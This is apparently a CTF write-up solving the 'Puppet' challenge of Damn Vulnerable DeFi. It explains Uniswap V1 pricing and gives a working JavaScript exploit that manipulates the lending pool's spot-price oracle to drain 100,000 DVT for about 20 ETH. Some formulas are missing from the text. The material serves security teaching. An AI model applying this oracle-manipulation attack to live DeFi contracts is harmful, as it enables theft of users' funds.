Damn Vulnerable DeFi is a series of challenges focused on DeFi smart contract attacks. The content includes flash loan attacks, lending pools, on-chain oracles, and more. Before starting, you should have skills related to Solidity and JavaScript. For each challenge, your task is to ensure that the unit tests for that challenge pass.
Challenge link: https://www.damnvulnerabledefi.xyz/challenges/8.html
Challenge description:
There is a lending pool that provides lending services for DVT tokens, but it requires depositing twice the value in ETH as collateral. Currently, there are 100,000 DVT in the pool.
UniswapV1 now has a trading pair ETH-DVT, with 10 ETH and 10 DVT.
You currently have 25 ETH and 1000 DVT. You need to steal all the tokens from the lending pool.
The lending contract PuppetPool.sol provides the following lending functionality:
// Borrow DVT, but the prerequisite is to deposit an equivalent amount of ETH worth twice as much
function borrow(uint256 borrowAmount) public payable nonReentrant {
// Calculate the amount of ETH required to deposit
uint256 depositRequired = calculateDepositRequired(borrowAmount);
require(msg.value >= depositRequired, "Not depositing enough collateral");
// Refund the excess ETH
if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
// Save the amount of ETH deposited by msg.sender
deposits[msg.sender] = deposits[msg.sender] + depositRequired;
// Transfer DVT token to msg.sender
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");
emit Borrowed(msg.sender, depositRequired, borrowAmount);
}
This method mainly does the following:
- Calculates the amount of ETH that needs to be deposited based on the amount of DVT borrowed,
depositRequired. - Ensures that the amount of ETH deposited during the call is greater than
depositRequired; if more is deposited, the difference is refunded. - Saves the amount of ETH deposited and lends out DVT.
The calculation of the required ETH deposit is based on the liquidity of the pair contract ETH-DVT in uniswapv1. Here is a brief introduction to the contracts and methods in uniswapv1.
There are two types of contracts:
-
Factorycontract, used to create and deploy pair contracts. The core method iscreateExchange(token: address): address, which creates and deploys the pair contract forETHagainsttoken, returning the address of the pair contract. -
Exchangetrading contract, also known as the pair contract. In version v1, there are only trading pairs forETHagainstToken, and no trading pairs forTokenagainstToken.
Once the pair contract is created through the factory contract, the method addLiquidity can be called to add liquidity, which means depositing Token and ETH into the pair contract, while liquidity providers receive LP tokens as proof of providing liquidity.
@payable
addLiquidity(
min_liquidity: uint256,
max_tokens: uint256,
deadline: uint256
): uint256
When calling this method, in addition to the parameters, ETH must also be sent. The parameters are explained as follows:
min_liquidityis the minimum amount ofLP tokensthat the liquidity provider expects to receive; if the final amount is less than this value, the transaction will revert.max_tokensis the maximum amount of tokens that the liquidity provider wants to provide; if the calculated token amount exceeds this value and they do not want to provide it, the transaction will revert.deadlineis the deadline for providing liquidity.
When there is liquidity in the pair contract, other traders can trade. Unlike centralized exchanges, the trading price is determined by the latest transaction price on the order book. The trading price in uniswap is calculated based on the constant product formula:
where and are the reserves of the two paired currencies.
Assuming there is a pair contract ETH-USDT, where ETH has 10 as , and USDT has 100 as . Then .
At this point, to sell of ETH, the amount of USDT received will be . This means that the amount of ETH in the pool has changed to , according to the constant product formula:
Similarly, when selling of USDT, the amount of ETH received will be .
This is the calculation formula without transaction fees, but typically a fee of 0.3% is charged, which is distributed according to the proportion of LP tokens held by liquidity providers.
In the presence of transaction fees, to sell of ETH, the actual amount of ETH sold is . For convenience, uniswap multiplies both the numerator and denominator by 1000.
In the v1 version of uniswap, several methods are provided to query prices:
getEthToTokenInputPrice(eth_sold: uint256): uint256inputs the amount ofETHsold and returns the amount oftokenreceived.getTokenToEthOutputPrice(eth_bought: uint256): uint256inputs the amount ofETHto buy and returns the amount oftokenneeded.getEthToTokenOutputPrice(tokens_bought: uint256): uint256inputs the amount oftokento buy and returns the amount ofETHneeded.getTokenToEthInputPrice(tokens_sold: uint256): uint256inputs the amount oftokensold and returns the amount ofETHreceived.
The exchange-related methods are as follows:
ethToTokenSwapInput(min_tokens: uint256, deadline: uint256): uint256exchangesETHfortoken:min_tokensis the minimum amount oftokenexpected. If the amount ofETHsent when calling this method is insufficient to exchange for the expected amount oftoken, the transaction fails. If sufficient, the full amount is exchanged and the transaction is executed. The function returns the amount oftokenthat can be exchanged.ethToTokenSwapOutput(tokens_bought: uint256, deadline: uint256): uint256exchangesETHfortoken: when calling this method,ETHis sent to exchange fortokens_boughtamount oftoken; if the amount ofETHsent is too much, the excess will be refunded. The function returns the actual amount ofETHsold.tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256, deadline: uint256): uint256exchangestokenforETH.tokenToEthSwapOutput(eth_bought: uint256, max_tokens: uint256, deadline: uint256): uint256exchangestokenforETH.
Returning to the challenge, the method calculateDepositRequired in the lending contract PuppetPool.sol calculates the required amount of ETH to deposit:
// Calculate the amount of ETH that needs to be deposited
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
// The value of the collateral = amount borrowed * price * 2
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}
// Calculate the value of each token in terms of ETH
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
From the code, it can be seen that the value of token comes from the reserves of the two currencies in the uniswap pair.
Assuming there is a pair contract ETH-UNI, with 100 ETH and 10 UNI, then the value of 1 UNI is equivalent to 10 ETH, meaning the value of each token is equal to . If the value of the denominator can be increased or the value of the numerator can be decreased, the value of each token will decrease.
Given that the hacker holds 25 ETH and 1000 DVT, they can use the 1000 DVT they hold to exchange for ETH, which will greatly increase the value of the denominator and decrease the value of the numerator. This means the value of DVT will become very low.
Then, when borrowing, the required collateral in ETH will only need to be a small amount. Finally, they can exchange back for DVT from uniswap.
it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallUniswap = this.uniswapExchange.connect(attacker)
// Authorize uniswap to manage the attacker's DVT token
await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)
// Initial balances
// attacker: ETH balance => 25
// attacker: DVT balance => 1000
// uniswap: ETH balance => 10
// uniswap: DVT balance => 10
// Use DVT to exchange for ETH in uniswap
await attackerCallUniswap.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('1'),
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// attacker: ETH balance => 34.900571637914797588
// attacker: DVT balance => 0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010
// Calculate the amount of ETH required as collateral
const collateralCount = await attackerCallLendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)
// Borrow DVT
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
value: collateralCount
})
// collateralCount = 19.6643298887982
// attacker: ETH balance => 15.236140794921379778
// attacker: DVT balance => 100000.0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010.0
// Calculate how much ETH is needed to exchange for ATTACKER_INITIAL_TOKEN_BALANCE amount of DVT
const payEthCount = await attackerCallUniswap.getEthToTokenOutputPrice(ATTACKER_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6
})
// payEthCount = 9.960367696933900101
// Exchange for DVT
await attackerCallUniswap.ethToTokenSwapOutput(
ATTACKER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 2,
{
value: payEthCount,
gasLimit: 1e6
}
)
// attacker: ETH balance => 5.275716174066780228
// attacker: DVT balance => 101000.0
// uniswap: ETH balance => 10.059672562872331085
// uniswap: DVT balance => 10.0
})
The attacker manipulated the price using uniswap, successfully borrowing 100,000 DVT with 19.6643298887982 ETH as collateral. If borrowed directly, the cost would have been 200,000 ETH.
Finally, executing yarn puppet passes the test!